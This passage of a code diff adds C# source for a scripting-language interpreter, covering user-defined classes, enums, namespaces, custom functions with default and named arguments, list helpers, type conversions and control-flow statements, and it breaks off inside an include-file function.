+            obj.Namespace = ParserFunction.GetCurrentNamespace;
+            if (!string.IsNullOrWhiteSpace(obj.Namespace))
+            {
+                className = obj.Namespace + "." + className;
+            }
+
+            obj.Name = className;
+            className = Constants.ConvertName(className);
+            s_allClasses[className] = obj;
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            script.GetFunctionArgs();
+
+            // TODO: Work in progress, currently not functional
+            return Variable.EmptyInstance;
+        }
+
+        public void AddMethod(string name, string[] args, CustomFunction method)
+        {
+            if (name == m_name)
+            {
+                m_constructors[args.Length] = method;
+                for (int i = 0; i < method.DefaultArgsCount && i < args.Length; i++)
+                {
+                    m_constructors[args.Length - i - 1] = method;
+                }
+            }
+            else
+            {
+                m_customFunctions[name] = method;
+            }
+        }
+
+        public void AddProperty(string name, Variable property)
+        {
+            m_classProperties[name] = property;
+        }
+
+        public static CSCSClass GetClass(string name)
+        {
+            string currNamespace = ParserFunction.GetCurrentNamespace;
+            if (!string.IsNullOrWhiteSpace(currNamespace))
+            {
+                bool namespacePresent = name.Contains(".");
+                if (!namespacePresent)
+                {
+                    name = currNamespace + "." + name;
+                }
+            }
+
+            CSCSClass theClass = null;
+            s_allClasses.TryGetValue(name, out theClass);
+            return theClass;
+        }
+
+        static Dictionary<string, CSCSClass> s_allClasses =
+            new Dictionary<string, CSCSClass>();
+
+        Dictionary<int, CustomFunction> m_constructors =
+            new Dictionary<int, CustomFunction>();
+        Dictionary<string, CustomFunction> m_customFunctions =
+            new Dictionary<string, CustomFunction>();
+        Dictionary<string, Variable> m_classProperties =
+            new Dictionary<string, Variable>();
+
+        public ParsingScript ParentScript = null;
+        public int ParentOffset = 0;
+
+        public string Namespace { get; private set; }
+
+        public class ClassInstance : ScriptObject
+        {
+            public ClassInstance(string instanceName, string className, List<Variable> args,
+                                 ParsingScript script = null)
+            {
+                InstanceName = instanceName;
+                m_cscsClass = CSCSClass.GetClass(className);
+                if (m_cscsClass == null)
+                {
+                    throw new ArgumentException("Class [" + className + "] not found.");
+                }
+
+                // Copy over all the properties defined for this class.
+                foreach (var entry in m_cscsClass.m_classProperties)
+                {
+                    SetProperty(entry.Key, entry.Value);
+                }
+
+                // Run "constructor" if any is defined for this number of args.
+                CustomFunction constructor = null;
+                if (m_cscsClass.m_constructors.TryGetValue(args.Count, out constructor))
+                {
+                    constructor.Run(args, script, this);
+                }
+            }
+
+            public string InstanceName { get; set; }
+            CSCSClass m_cscsClass;
+
+            Dictionary<string, Variable> m_properties = new Dictionary<string, Variable>();
+            HashSet<string> m_propSet = new HashSet<string>();
+
+            public override string ToString()
+            {
+                CustomFunction customFunction = null;
+                if (!m_cscsClass.m_customFunctions.TryGetValue(Constants.PROP_TO_STRING.ToLower(),
+                     out customFunction))
+                {
+                    return m_cscsClass.Name + "." + InstanceName;
+                }
+
+                Variable result = customFunction.Run(null, null, this); 
+                return result.ToString();
+            }
+
+            public Task<Variable> SetProperty(string name, Variable value)
+            {
+                m_properties[name] = value;
+                m_propSet.Add(name);
+                return Task.FromResult( Variable.EmptyInstance );
+            }
+
+            public async Task<Variable> GetProperty(string name, List<Variable> args = null, ParsingScript script = null)
+            {
+                Variable value = null;
+                if (m_properties.TryGetValue(name, out value))
+                {
+                    return value;
+                }
+
+                CustomFunction customFunction = null;
+                if (!m_cscsClass.m_customFunctions.TryGetValue(name, out customFunction))
+                {
+                    return null;
+                }
+                if (args == null)
+                {
+                    return Variable.EmptyInstance;
+                }
+
+                foreach (var entry in m_cscsClass.m_classProperties)
+                {
+                    args.Add(entry.Value);
+                }
+
+                Variable result = await customFunction.RunAsync(args, script, this);
+                return result;
+            }
+
+            public List<KeyValuePair<string, Variable>> GetPropList()
+            {
+                List<KeyValuePair<string, Variable>> props = new List<KeyValuePair<string, Variable>>();
+                foreach (var entry in m_properties)
+                {
+                    props.Add(new KeyValuePair<string, Variable>(entry.Key, entry.Value));
+                }
+                return props;
+            }
+
+            public List<string> GetProperties()
+            {
+                List<string> props = new List<string>(m_properties.Keys);
+                props.AddRange(m_cscsClass.m_customFunctions.Keys);
+
+                return props;
+            }
+            public bool PropertyExists(string name)
+            {
+                return m_propSet.Contains(name);
+            }
+
+            public bool FunctionExists(string name)
+            {
+                CustomFunction customFunction = null;
+                if (!m_cscsClass.m_customFunctions.TryGetValue(name, out customFunction))
+                {
+                    return false;
+                }
+                return true;
+            }
+        }
+    }
+
+    class NameExistsFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            funcName = Constants.ConvertName(funcName);
+
+            ParserFunction function = ParserFunction.GetFunction(funcName, script);
+            return new Variable(function != null);
+        }
+    }
+
+    class EnumFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<string> properties = Utils.ExtractTokens(script);
+
+            if (properties.Count == 1 && properties[0].Contains("."))
+            {
+                return UseExistingEnum(properties[0]);
+            }
+
+            Variable enumVar = new Variable(Variable.VarType.ENUM);
+            for (int i = 0; i < properties.Count; i++)
+            {
+                enumVar.SetEnumProperty(properties[i], new Variable(i));
+            }
+
+            return enumVar;
+        }
+
+        public static Variable UseExistingEnum(string enumName)
+        {
+            Type enumType = GetEnumType(enumName);
+            if (enumType == null || !enumType.IsEnum)
+            {
+                return Variable.EmptyInstance;
+            }
+
+            var names = Enum.GetNames(enumType);
+
+            Variable enumVar = new Variable(Variable.VarType.ENUM);
+            for (int i = 0; i < names.Length; i++)
+            {
+                var numValue = Enum.Parse(enumType, names[i], true);
+                enumVar.SetEnumProperty(names[i], new Variable((int)numValue));
+            }
+
+            return enumVar;
+        }
+
+        public static Type GetEnumType(string enumName)
+        {
+            string[] tokens = enumName.Split('.');
+
+            Type enumType = null;
+            int index = 0;
+            string typeName = "";
+            while(enumType == null && index < tokens.Length)
+            {
+                if (!string.IsNullOrWhiteSpace(typeName))
+                {
+                    typeName += ".";
+                }
+                typeName += tokens[index];
+                enumType = GetType(typeName);
+                index++;
+            }
+
+            for (int i = index; i < tokens.Length && enumType != null; i++)
+            {
+                enumType = enumType.GetNestedType(tokens[i]);
+            }
+
+            if (enumType == null || !enumType.IsEnum)
+            {
+                return null;
+            }
+
+            return enumType;
+        }
+
+        public static Type GetType(string typeName)
+        {
+            var assemblies = AppDomain.CurrentDomain.GetAssemblies();
+            foreach (var assembly in assemblies)
+            {
+                var type = assembly.GetType(typeName, false, true);
+                if (type != null)
+                {
+                    return type;
+                }
+            }
+            return null;
+        }
+    }
+
+    class NewObjectFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            script.MoveForwardIf(Constants.START_ARG);
+            List<Variable> args = script.GetFunctionArgs();
+
+            CompiledClass csClass = CSCSClass.GetClass(className) as CompiledClass;
+            if (csClass != null)
+            {
+                ScriptObject obj = csClass.GetImplementation(args);
+                return new Variable(obj);
+            }
+
+            CSCSClass.ClassInstance instance = new
+                CSCSClass.ClassInstance(script.CurrentAssign, className, args, script);
+
+            return new Variable(instance);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            script.MoveForwardIf(Constants.START_ARG);
+            List<Variable> args = await script.GetFunctionArgsAsync();
+
+            CompiledClassAsync csClass = CSCSClass.GetClass(className) as CompiledClassAsync;
+            if (csClass != null)
+            {
+                ScriptObject obj = await csClass.GetImplementationAsync(args);
+                return new Variable(obj);
+            }
+
+            CSCSClass.ClassInstance instance = new
+                CSCSClass.ClassInstance(script.CurrentAssign, className, args, script);
+
+            return new Variable(instance);
+        }
+    }
+
+    public class ClassCreator : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string className = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+            className = Constants.ConvertName(className);
+            string[] baseClasses = Utils.GetBaseClasses(script);
+            CSCSClass newClass = new CSCSClass(className, baseClasses);
+
+            script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+
+            newClass.ParentOffset = script.Pointer;
+            newClass.ParentScript = script;
+            int lineNumber = 0;
+            /*string line = */script.GetOriginalLine(out lineNumber);
+
+            string scriptExpr = Utils.GetBodyBetween(script, Constants.START_GROUP,
+                                                     Constants.END_GROUP);
+            script.MoveForwardIf(Constants.END_GROUP);
+
+            Dictionary<int, int> char2Line;
+            string body = Utils.ConvertToScript(scriptExpr, out char2Line);
+
+            Variable result = null;
+            ParsingScript tempScript = new ParsingScript(body);
+            //tempScript.ScriptOffset = newClass.ParentOffset;
+            tempScript.Char2Line = script.Char2Line;
+            tempScript.Filename = script.Filename;
+            tempScript.OriginalScript = script.OriginalScript;
+            tempScript.CurrentClass = newClass;
+            tempScript.ParentScript = script;
+            tempScript.InTryBlock = script.InTryBlock;
+            tempScript.DisableBreakpoints = true;
+
+            // Uncomment if want to step into the class creation code when the debugger is attached (unlikely)
+            /*Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (debugger != null)
+            {
+                result = debugger.StepInFunctionIfNeeded(tempScript);
+            }*/
+
+            while (tempScript.Pointer < body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = tempScript.ExecuteTo();
+                tempScript.GoToNextStatement();
+            }
+
+            return Variable.EmptyInstance;
+        }
+    }
+
+    public class NamespaceFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            string namespaceName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            //Utils.CheckNotEnd(script, m_name);
+            Variable result = null;
+
+            ParserFunction.AddNamespace(namespaceName);
+            try
+            {
+                script.MoveForwardIf(Constants.START_GROUP);
+                string scriptExpr = Utils.GetBodyBetween(script, Constants.START_GROUP,
+                                                         Constants.END_GROUP);
+                script.MoveForwardIf(Constants.END_GROUP);
+
+                Dictionary<int, int> char2Line;
+                string body = Utils.ConvertToScript(scriptExpr, out char2Line);
+
+                ParsingScript tempScript = new ParsingScript(body);
+                //tempScript.ScriptOffset = newClass.ParentOffset;
+                tempScript.Char2Line = script.Char2Line;
+                tempScript.Filename = script.Filename;
+                tempScript.OriginalScript = script.OriginalScript;
+                tempScript.ParentScript = script;
+                tempScript.InTryBlock = script.InTryBlock;
+                tempScript.DisableBreakpoints = true;
+                tempScript.MoveForwardIf(Constants.START_GROUP);
+
+                Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+                if (debugger != null)
+                {
+                    result = debugger.StepInFunctionIfNeeded(tempScript).Result;
+                }
+
+                while (tempScript.Pointer < body.Length - 1 &&
+                      (result == null || !result.IsReturn))
+                {
+                    result = tempScript.ExecuteTo();
+                    tempScript.GoToNextStatement();
+                }
+            }
+            finally
+            {
+                ParserFunction.PopNamespace();
+            }
+
+            return result;
+        }
+    }
+
+    public class CustomFunction : ParserFunction
+    {
+        internal CustomFunction(string funcName,
+                                string body, string[] args, ParsingScript script)
+        {
+            Name = funcName;
+            m_body = body;
+            m_args = args;
+
+            for (int i = 0; i < args.Length; i++)
+            {
+                string arg = args[i];
+                int ind = arg.IndexOf('=');
+                if (ind > 0)
+                {
+                    m_args[i] = arg.Substring(0, ind).Trim().ToLower();
+                    string defValue = ind >= arg.Length - 1 ? "" : arg.Substring(ind + 1).Trim();
+
+                    Variable defVariable = Utils.GetVariableFromString(defValue, script);
+                    defVariable.CurrentAssign = m_args[i];
+                    defVariable.Index = i;
+
+                    m_defArgMap[i] = m_defaultArgs.Count;
+                    m_defaultArgs.Add(defVariable);
+                }
+                else
+                {
+                    m_args[i] = arg.ToLower();
+                }
+                m_argMap[m_args[i]] = i;
+            }
+        }
+
+        public void RegisterArguments(List<Variable> args,
+                                      List<KeyValuePair<string, Variable>> args2 = null)
+        {
+            if (args == null)
+            {
+                args = new List<Variable>();
+            }
+
+            int missingArgs = m_args.Length - args.Count;
+
+            bool namedParameters = false;
+            for (int i = 0; i < args.Count; i++)
+            {
+                var arg = args[i];
+                int argIndex = -1;
+                if (m_argMap.TryGetValue(arg.CurrentAssign, out argIndex))
+                {
+                    namedParameters = true;
+                    if (i != argIndex)
+                    {
+                        args[i] = argIndex < args.Count ? args[argIndex] : args[i];
+                        while (argIndex > args.Count - 1)
+                        {
+                            args.Add(Variable.EmptyInstance);
+                        }
+                        args[argIndex] = arg;
+                    }
+                }
+                else if (namedParameters)
+                {
+                    throw new ArgumentException("All arguments in function [" + m_name +
+                     "] must be arg=value form.");
+                }
+            }
+
+            if (missingArgs > 0 && missingArgs <= m_defaultArgs.Count)
+            {
+                if (!namedParameters)
+                {
+                    for (int i = m_defaultArgs.Count - missingArgs; i < m_defaultArgs.Count; i++)
+                    {
+                        args.Add(m_defaultArgs[i]);
+                    }
+                }
+                else
+                {
+                    for (int i = 0; i < args.Count; i++)
+                    {
+                        if (args[i].Type == Variable.VarType.NONE ||
+                           (!string.IsNullOrWhiteSpace(args[i].CurrentAssign) &&
+                            args[i].CurrentAssign != m_args[i]))
+                        {
+                            int defIndex = -1;
+                            if (!m_defArgMap.TryGetValue(i, out defIndex))
+                            {
+                                throw new ArgumentException("No argument [" + m_args[i] +
+                                 "] given for function [" + m_name + "].");
+                            }
+                            args[i] = m_defaultArgs[defIndex];
+                        }
+                    }
+                }
+            }
+            for (int i = args.Count; i < m_args.Length; i++)
+            {
+                int defIndex = -1;
+                if (!m_defArgMap.TryGetValue(i, out defIndex))
+                {
+                    throw new ArgumentException("No argument [" + m_args[i] +
+                     "] given for function [" + m_name + "].");
+                }
+                args.Add(m_defaultArgs[defIndex]);
+            }
+            StackLevel stackLevel = new StackLevel(m_name);
+
+            if (args2 != null)
+            {
+                foreach (var entry in args2)
+                {
+                    var arg = new GetVarFunction(entry.Value);
+                    arg.Name = entry.Key;
+                    stackLevel.Variables[entry.Key] = arg;
+                }
+            }
+
+            int maxSize = Math.Min(args.Count, m_args.Length);
+            for (int i = 0; i < maxSize; i++)
+            {
+                var arg = new GetVarFunction(args[i]);
+                arg.Name = m_args[i];
+                stackLevel.Variables[m_args[i]] = arg;
+            }
+
+            if (NamespaceData  != null)
+            {
+                var vars = NamespaceData.Variables;
+                string prefix = NamespaceData.Name + ".";
+                foreach (KeyValuePair<string, ParserFunction> elem in vars)
+                {
+                    string key = elem.Key.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) ?
+                        elem.Key.Substring(prefix.Length) : elem.Key;
+                    stackLevel.Variables[key] = elem.Value;
+                }
+            }
+
+            ParserFunction.AddLocalVariables(stackLevel);
+        }
+
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = Constants.FUNCT_WITH_SPACE.Contains(m_name) ?
+                // Special case of extracting args.
+                Utils.GetFunctionArgsAsStrings(script) :
+                script.GetFunctionArgs();
+
+            script.MoveBackIf(Constants.START_GROUP);
+
+            if (args.Count + m_defaultArgs.Count < m_args.Length)
+            {
+                throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                                    m_args.Length + " declared, " + args.Count + " supplied");
+            }
+
+            Variable result = Run(args, script);
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = Constants.FUNCT_WITH_SPACE.Contains(m_name) ?
+                // Special case of extracting args.
+                Utils.GetFunctionArgsAsStrings(script) :
+                await script.GetFunctionArgsAsync();
+
+            script.MoveBackIf(Constants.START_GROUP);
+
+            if (args.Count + m_defaultArgs.Count < m_args.Length)
+            {
+                throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+                                    m_args.Length + " declared, " + args.Count + " supplied");
+            }
+
+            Variable result = await RunAsync(args, script);
+            return result;
+        }
+
+        public Variable Run(List<Variable> args = null, ParsingScript script = null,
+                            CSCSClass.ClassInstance instance = null)
+        {
+            List<KeyValuePair<string, Variable>> args2 = instance == null ? null : instance.GetPropList();
+            // 1. Add passed arguments as local variables to the Parser.
+            RegisterArguments(args, args2);
+
+            // 2. Execute the body of the function.
+            Variable result = null;
+            ParsingScript tempScript = new ParsingScript(m_body);
+            tempScript.ScriptOffset = m_parentOffset;
+            if (m_parentScript != null)
+            {
+                tempScript.Char2Line = m_parentScript.Char2Line;
+                tempScript.Filename = m_parentScript.Filename;
+                tempScript.OriginalScript = m_parentScript.OriginalScript;
+            }
+            tempScript.ParentScript = script;
+            tempScript.InTryBlock = script == null ? false : script.InTryBlock;
+            tempScript.ClassInstance = instance;
+
+            Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (script != null && debugger != null)
+            {
+                result = debugger.StepInFunctionIfNeeded(tempScript).Result;
+            }
+
+            while (tempScript.Pointer < m_body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = tempScript.ExecuteTo();
+                tempScript.GoToNextStatement();
+            }
+
+            ParserFunction.PopLocalVariables();
+
+            if (result == null)
+            {
+                result = Variable.EmptyInstance;
+            }
+            else
+            {
+                result.IsReturn = false;
+            }
+
+            return result;
+        }
+        public async Task<Variable> RunAsync(List<Variable> args = null, ParsingScript script = null,
+                            CSCSClass.ClassInstance instance = null)
+        {
+            List<KeyValuePair<string, Variable>> args2 = instance == null ? null : instance.GetPropList();
+            // 1. Add passed arguments as local variables to the Parser.
+            RegisterArguments(args, args2);
+
+            // 2. Execute the body of the function.
+            Variable result = null;
+            ParsingScript tempScript = new ParsingScript(m_body);
+            tempScript.ScriptOffset = m_parentOffset;
+            if (m_parentScript != null)
+            {
+                tempScript.Char2Line = m_parentScript.Char2Line;
+                tempScript.Filename = m_parentScript.Filename;
+                tempScript.OriginalScript = m_parentScript.OriginalScript;
+            }
+            tempScript.ParentScript = script;
+            tempScript.InTryBlock = script == null ? false : script.InTryBlock;
+            tempScript.ClassInstance = instance;
+
+            Debugger debugger = script != null && script.Debugger != null ? script.Debugger : Debugger.MainInstance;
+            if (debugger != null)
+            {
+                result = await debugger.StepInFunctionIfNeeded(tempScript);
+            }
+
+            while (tempScript.Pointer < m_body.Length - 1 &&
+                  (result == null || !result.IsReturn))
+            {
+                result = await tempScript.ExecuteToAsync();
+                tempScript.GoToNextStatement();
+            }
+
+            ParserFunction.PopLocalVariables();
+
+            if (result == null)
+            {
+                result = Variable.EmptyInstance;
+            }
+            else
+            {
+                result.IsReturn = false;
+            }
+
+            return result;
+        }
+
+        public static Task<Variable> Run(string functionName,
+             Variable arg1 = null, Variable arg2 = null, Variable arg3 = null)
+        {
+            CustomFunction customFunction = ParserFunction.GetFunction(functionName, null) as CustomFunction;
+
+            if (customFunction == null)
+            {
+                return null;
+            }
+
+            List<Variable> args = new List<Variable>();
+            if (arg1 != null)
+            {
+                args.Add(arg1);
+            }
+            if (arg2 != null)
+            {
+                args.Add(arg2);
+            }
+            if (arg3 != null)
+            {
+                args.Add(arg3);
+            }
+
+            Variable result = customFunction.Run(args);
+            return Task.FromResult( result );
+        }
+
+        public static async Task<Variable> RunAsync(string functionName,
+             Variable arg1 = null, Variable arg2 = null, Variable arg3 = null)
+        {
+            CustomFunction customFunction = ParserFunction.GetFunction(functionName, null) as CustomFunction;
+
+            if (customFunction == null)
+            {
+                return null;
+            }
+
+            List<Variable> args = new List<Variable>();
+            if (arg1 != null)
+            {
+                args.Add(arg1);
+            }
+            if (arg2 != null)
+            {
+                args.Add(arg2);
+            }
+            if (arg3 != null)
+            {
+                args.Add(arg3);
+            }
+
+            Variable result = await customFunction.RunAsync(args);
+            return result;
+        }
+
+        public ParsingScript ParentScript { set { m_parentScript = value; } }
+        public int ParentOffset { set { m_parentOffset = value; } }
+        public string Body { get { return m_body; } }
+
+        public int ArgumentCount { get { return m_args.Length; } }
+        public string Argument(int nIndex) { return m_args[nIndex]; }
+
+        public StackLevel NamespaceData { get; set; }
+
+        public int DefaultArgsCount
+        {
+            get
+            {
+                return m_defaultArgs.Count;
+            }
+        }
+
+        public string Header
+        {
+            get
+            {
+                return Constants.FUNCTION + " " + Constants.GetRealName(Name) + " " +
+                       Constants.START_ARG + string.Join(", ", m_args) +
+                       Constants.END_ARG + " " + Constants.START_GROUP;
+            }
+        }
+
+        protected string m_body;
+        protected string[] m_args;
+        protected ParsingScript m_parentScript = null;
+        protected int m_parentOffset = 0;
+
+        List<Variable> m_defaultArgs = new List<Variable>();
+        Dictionary<string, int> m_argMap = new Dictionary<string, int>();
+        Dictionary<int, int> m_defArgMap = new Dictionary<int, int>();
+    }
+
+    class StringOrNumberFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // First check if the passed expression is a string between quotes.
+            if (Item.Length > 1 &&
+              ((Item[0] == Constants.QUOTE  && Item[Item.Length - 1] == Constants.QUOTE) ||
+               (Item[0] == Constants.QUOTE1 && Item[Item.Length - 1] == Constants.QUOTE1)))
+            {
+                return new Variable(Item.Substring(1, Item.Length - 2));
+            }
+
+            // Otherwise this should be a number.
+            double num = Utils.ConvertToDouble(Item, script);
+            return new Variable(num);
+        }
+
+        public string Item { private get; set; }
+    }
+
+    class AddFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable currentValue = Utils.GetSafeVariable(args, 0);
+            Variable item = Utils.GetSafeVariable(args, 1);
+            int index = Utils.GetSafeInt(args, 2, -1);
+
+            currentValue.AddVariable(item, index);
+            if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString()))
+            {
+                ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                        new GetVarFunction(currentValue));
+            }
+
+            return currentValue;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable currentValue = Utils.GetSafeVariable(args, 0);
+            Variable item = Utils.GetSafeVariable(args, 1);
+            int index = Utils.GetSafeInt(args, 2, -1);
+
+            currentValue.AddVariable(item, index);
+            if (!currentValue.ParsingToken.Contains(Constants.START_ARRAY.ToString()))
+            {
+                ParserFunction.AddGlobalOrLocalVariable(currentValue.ParsingToken,
+                                                        new GetVarFunction(currentValue));
+            }
+
+            return currentValue;
+        }
+    }
+    class RemoveFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name, true);
+            string varName = args[0].AsString();
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetFunction(varName, script);
+            Utils.CheckNotNull(varName, func);
+            Variable currentValue = func.GetValue(script);
+            Utils.CheckArray(currentValue, varName);
+
+            // 3. Get the variable to remove.
+            Variable item = args[1];
+
+            bool removed = currentValue.Tuple.Remove(item);
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(currentValue));
+            return new Variable(removed);
+        }
+    }
+    class RemoveAtFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 2. Get the current value of the variable.
+            ParserFunction func = ParserFunction.GetFunction(varName, script);
+            Utils.CheckNotNull(varName, func);
+            Variable currentValue = func.GetValue(script);
+            Utils.CheckArray(currentValue, varName);
+
+            // 3. Get the variable to remove.
+            Variable item = Utils.GetItem(script);
+            Utils.CheckNonNegativeInt(item);
+
+            currentValue.Tuple.RemoveAt(item.AsInt());
+
+            ParserFunction.AddGlobalOrLocalVariable(varName,
+                                                    new GetVarFunction(currentValue));
+            return Variable.EmptyInstance;
+        }
+    }
+
+    class ContainsFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            // 1. Get the name of the variable.
+            string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 2. Get the current value of the variable.
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, varName, (newVarName) => { varName = newVarName; } );
+
+            ParserFunction func = ParserFunction.GetFunction(varName, script);
+            Utils.CheckNotNull(varName, func);
+            Variable currentValue = func.GetValue(script);
+
+            // 2b. Special dealings with arrays:
+            Variable query = arrayIndices.Count > 0 ?
+                             Utils.ExtractArrayElement(currentValue, arrayIndices) :
+                             currentValue;
+
+            // 3. Get the value to be looked for.
+            Variable searchValue = Utils.GetItem(script);
+            Utils.CheckNotEnd(script, m_name);
+
+            // 4. Check if the value to search for exists.
+            bool exists = query.Exists(searchValue, true /* notEmpty */);
+
+            script.MoveBackIf(Constants.START_GROUP);
+            return new Variable(exists);
+        }
+    }
+
+    class FindIndexFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 2, m_name);
+
+            Variable var = Utils.GetSafeVariable(args, 0);
+            string val = Utils.GetSafeString(args, 1);
+
+            int index = var.FindIndex(val);
+
+            return new Variable(index);
+        }
+    }
+
+    class BoolFunction : ParserFunction, INumericFunction
+    {
+        bool m_value;
+        public BoolFunction(bool init)
+        {
+            m_value = init;
+        }
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return new Variable(m_value);
+        }
+    }
+    class ToDoubleFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            double result = Utils.ConvertToDouble(arg.AsString());
+            return new Variable(result);
+        }
+    }
+    class ToIntFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            int result = Utils.ConvertToInt(arg.AsString());
+            return new Variable(result);
+        }
+    }
+    class ToBoolFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            double result = Utils.ConvertToBool(arg.AsString()) ? 1 : 0;
+            return new Variable(result);
+        }
+    }
+    class ToDecimalFunction : ParserFunction, INumericFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            string result = Decimal.Parse(arg.AsString(), NumberStyles.Any).ToString();
+            return new Variable(result);
+        }
+    }
+    class ToStringFunction : ParserFunction, IStringFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+            Variable arg = args[0];
+
+            string result = arg.AsString();
+            return new Variable(result);
+        }
+    }
+    class IdentityFunction : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return script.ExecuteTo(Constants.END_ARG);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await script.ExecuteToAsync(Constants.END_ARG);
+        }
+    }
+
+    class IfStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            Variable result = Interpreter.Instance.ProcessIf(script);
+            return result;
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            Variable result = await Interpreter.Instance.ProcessIfAsync(script);
+            return result;
+        }
+    }
+
+    class ForStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessFor(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessForAsync(script);
+        }
+    }
+
+    class WhileStatement : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            return Interpreter.Instance.ProcessWhile(script);
+        }
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            return await Interpreter.Instance.ProcessWhileAsync(script);
+        }
+    }
+
+    class IncludeFile : ParserFunction
+    {
+        protected override Variable Evaluate(ParsingScript script)
+        {
+            List<Variable> args = script.GetFunctionArgs();
+            string includeScript;
+            ParsingScript tempScript = GetIncludeFileScript(script, args, out includeScript);
+
+            Variable result = null;
+            if (script.Debugger != null)
+            {
+                result = script.Debugger.StepInIncludeIfNeeded(tempScript).Result;
+            }
+
+            while (tempScript.Pointer < includeScript.Length)
+            {
+                result = tempScript.ExecuteTo();
+                tempScript.GoToNextStatement();
+            }
+            return result == null ? Variable.EmptyInstance : result;
+        }
+
+        protected override async Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            List<Variable> args = await script.GetFunctionArgsAsync();
+            string includeScript;
+            ParsingScript tempScript = GetIncludeFileScript(script, args, out includeScript);
+
+            Variable result = null;
+            if (script.Debugger != null)
+            {
+                result = await script.Debugger.StepInIncludeIfNeeded(tempScript);
+            }
+
+            while (tempScript.Pointer < includeScript.Length)
+            {
+                result = await tempScript.ExecuteToAsync();
+                tempScript.GoToNextStatement();
+            }
+            return result == null ? Variable.EmptyInstance : result;
+        }
+
+        ParsingScript GetIncludeFileScript(ParsingScript script, List<Variable> args, out string includeScript)
+        {
+            Utils.CheckArgs(args.Count, 1, m_name, true);
+
+            string filename = args[0].AsString();
